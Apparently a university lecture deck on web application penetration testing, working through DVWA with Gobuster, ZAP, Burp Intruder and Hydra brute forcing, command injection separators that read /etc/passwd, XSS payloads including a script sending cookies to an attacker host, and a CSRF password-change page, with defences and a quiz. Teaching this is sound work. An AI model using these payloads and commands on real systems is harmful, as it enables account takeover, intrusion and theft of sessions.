Sem 7

Web App Pentesting

Deck 11. Testing DVWA with Gobuster, OWASP ZAP and Burp Suite intercepting proxies; brute forcing a login with ZAP, Burp Intruder and Hydra; and command injection, XSS and CSRF.

Web application penetration testing finds and exploits flaws in web apps. The deck is image-heavy; it works through DVWA (Damn Vulnerable Web Application), a deliberately insecure app built as a safe playground for SQL injection, XSS, CSRF, file upload flaws, command injection and insecure authentication.

Setting up DVWASearch on YouTube

sudo apt update
sudo apt install dvwa
sudo dvwa-start                # start DVWA
# in the browser: finish setup, click "Create/Reset Database", then log in
#   credentials: admin / password
#   set the DVWA Security level to 'low' to begin
sudo dvwa-stop                 # stop DVWA when done

Directory enumeration with GobusterSearch on YouTube

Gobuster in dir mode sends HTTP/HTTPS requests from a wordlist to uncover hidden directories and files such as /admin, /backup.zip or /secret.php.

gobuster dir -u http://127.0.0.1/ -w /usr/share/wordlists/dirb/common.txt

Intercepting web trafficSearch on YouTube

An intercepting proxy sits between the browser and the web app, so you can inspect, modify and resend requests. Both tools below act as a man-in-the-middle proxy.

Browser  ->  Proxy (ZAP / Burp)  ->  Web app (DVWA)
         <-                      <-

OWASP ZAP (ZAProxy)Search on YouTube

ZAP (Zed Attack Proxy) is a free, open-source man-in-the-middle proxy. It stands between the browser and the web app, intercepts messages, and can inspect, modify and forward them.

sudo apt install zaproxy
zaproxy &

Set-up flow:

  1. In ZAP: Tools > Options > Network > Server Certificates — save the ZAP certificate to the Desktop.
  2. In Firefox: Settings > View Certificates > Import the ZAP certificate, so the browser trusts ZAP.
  3. Install the FoxyProxy Firefox extension and add a proxy pointing to ZAP at 127.0.0.1:8080.
  4. ZAP now listens on 8080; refresh DVWA and confirm the request is captured.

Burp SuiteSearch on YouTube

Burp Suite is an intercepting proxy with an Intruder module for automated request attacks (fuzzing and brute forcing). The flow is similar: turn on Intercept, capture a request, then send it to a module like Intruder or Repeater.

Vulnerability 1: Brute forcing a loginSearch on YouTube

Scenario: the username is known (admin) and the password is unknown.

a. With the ZAP fuzzerSearch on YouTube

  1. Right-click the captured login request and choose Fuzz.
  2. Mark the password field as the fuzz location.
  3. Add a payload of type File and select a wordlist, e.g. /usr/share/wordlists/fasttrack.txt (about 262 entries).
  4. Start fuzzer — ZAP sends all 262 requests and records the responses.
  5. Compare the response sizes; the odd one out is the valid login. Here the password is password.

b. With Burp Suite IntruderSearch on YouTube

Target: demo.testfire.net.

  1. Turn on Intercept and submit the login (e.g. username admin, password 123).
  2. Right-click the request and Send to Intruder (the Intruder tab changes colour).
  3. Forward the packet so the page loads in the browser.
  4. In Intruder, select the field to brute force and Add the payload. In the free version you type and Add each word to build the list; the Pro version can upload a list.
  5. Start attack and watch the response length variation to spot the password. Here the password is admin.

For both ZAP and Burp, you identify the correct password by the response that differs in size/length from the failures, not by any success message.

c. With Hydra (HTTP form)Search on YouTube

Hydra can brute force the DVWA login directly against the HTTP GET form. Observe the failure message first (it becomes the F= string).

hydra -l admin -P /usr/share/wordlists/fasttrack.txt 127.0.0.1 http-get-form \
"/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie\: PHPSESSID=<your_session_id>; security=low:F=Username and/or password incorrect."
  • ^USER^ / ^PASS^ are substituted from -l / -P.
  • H=Cookie:... supplies the session cookie and security level, needed because DVWA requires a logged-in session.
  • F=... is the failure string; Hydra treats any response not containing it as success.
  • Add -s <port> if the web server runs on a non-default port.

Vulnerability 2: Command injectionSearch on YouTube

Command injection (shell injection) lets an attacker run OS commands on the web server. DVWA's page accepts input and runs it as an OS command, so you can chain extra commands with separators:

; ls                 # run ls after the intended command
| whoami             # pipe into another command
&& cat /etc/passwd   # run only if the first command succeeds

This can be escalated to a full reverse shell back to a listener you control (the Lab 10 task).

Vulnerability 3: Cross-Site Scripting (XSS)Search on YouTube

XSS injects malicious script into pages viewed by other users. The browser then executes that script in the context of the vulnerable site, so it runs with the victim's session.

<script>alert('XSS')</script>
<script>document.location='http://attacker/steal?c='+document.cookie</script>

The second example steals the victim's cookies by sending them to the attacker.

Vulnerability 4: Cross-Site Request Forgery (CSRF)Search on YouTube

CSRF tricks a logged-in victim into submitting a state-changing request without meaning to. If the user is already authenticated (holding a valid session), their browser attaches the session automatically, so the forged request succeeds.

The attacker does not steal the session; they borrow it. The victim's own browser sends the malicious request with the victim's cookies attached.

Goal: change the victim's DVWA password. The attacker hosts a malicious page containing the password-change link and shares the URL. When the authenticated victim clicks it, the request runs from their browser with their session.

<!DOCTYPE html>
<html>
<head><title>Malicious site</title></head>
<body>
  <h1>Click the button to reset your password!</h1>
  <a href="http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=yourname&password_conf=yourname&Change=change">
    <button>Click me!</button>
  </a>
</body>
</html>

Verify the change using DVWA's "test credentials" option.

  • Brute force: account lockout, rate limiting, CAPTCHA, strong passwords, MFA.
  • Command injection: never pass user input to a shell; use safe APIs; validate and allow-list input.
  • XSS: output-encode untrusted data; set a Content-Security-Policy; use HttpOnly cookies so script cannot read them.
  • CSRF: per-request anti-CSRF tokens, SameSite cookies, re-authenticate on sensitive actions.

Lab 10 (Web App Pen Testing). (1) Brute force the DVWA login using (i) ZAP and (ii) Hydra. (2) Demonstrate how command injection can be leveraged to gain an interactive reverse shell back to a listener you control.

Quick self-testSearch on YouTube

What is DVWA and why is it used?

Damn Vulnerable Web Application — a deliberately insecure web app used as a safe lab to practise web attacks (SQLi, XSS, CSRF, command injection, file upload, weak auth).

What does Gobuster's dir mode do?

It brute-forces hidden directories and files on a web server using a wordlist (e.g. /admin, /backup.zip).

Where does ZAP/Burp sit, and what can it do to a request?

Between the browser and the web app (a man-in-the-middle proxy). It can intercept, inspect, modify and resend requests.

When brute forcing with ZAP or Burp, how do you identify the valid password?

By the response whose size/length differs from the failed attempts, not by a success message.

In the Hydra DVWA command, what does the F= parameter do?

It gives the failure string. Hydra marks any response that does not contain that string as a successful login.

Why does the Hydra DVWA command include a PHPSESSID cookie?

DVWA requires a logged-in session, so the session cookie (and security level) must be sent with each attempt.

What is command injection and how is input chained?

It runs OS commands on the server via unsanitised input, chained with separators such as ;, | and &&.

Why does XSS script run with the victim's privileges?

The browser executes the injected script in the context of the vulnerable site, so it runs under the victim's session.

How does a CSRF attack succeed without stealing the session?

The victim is already logged in; their browser automatically attaches the session cookie to the forged request, so the state-changing action runs as them.

Name one defence each for XSS and CSRF.

XSS: output-encode untrusted data and set a Content-Security-Policy (plus HttpOnly cookies). CSRF: per-request anti-CSRF tokens (plus SameSite cookies).

  • DVWA is a deliberately vulnerable practice app; set security to low and log in as admin/password.
  • Gobuster dir finds hidden directories and files from a wordlist.
  • ZAP and Burp are intercepting proxies between browser and app; configure the certificate and FoxyProxy for ZAP on 127.0.0.1:8080.
  • Brute force a login with the ZAP fuzzer, Burp Intruder or Hydra; the valid password shows as a different response size/length.
  • Hydra HTTP form attack needs ^USER^/^PASS^, the session cookie (H=) and the failure string (F=).
  • Command injection runs OS commands via separators (;, |, &&) and can become a reverse shell.
  • XSS runs attacker script in the victim's browser session; CSRF makes the logged-in victim submit a state-changing request.
  • Defend with lockout/MFA, safe input handling, output encoding/CSP, and anti-CSRF tokens.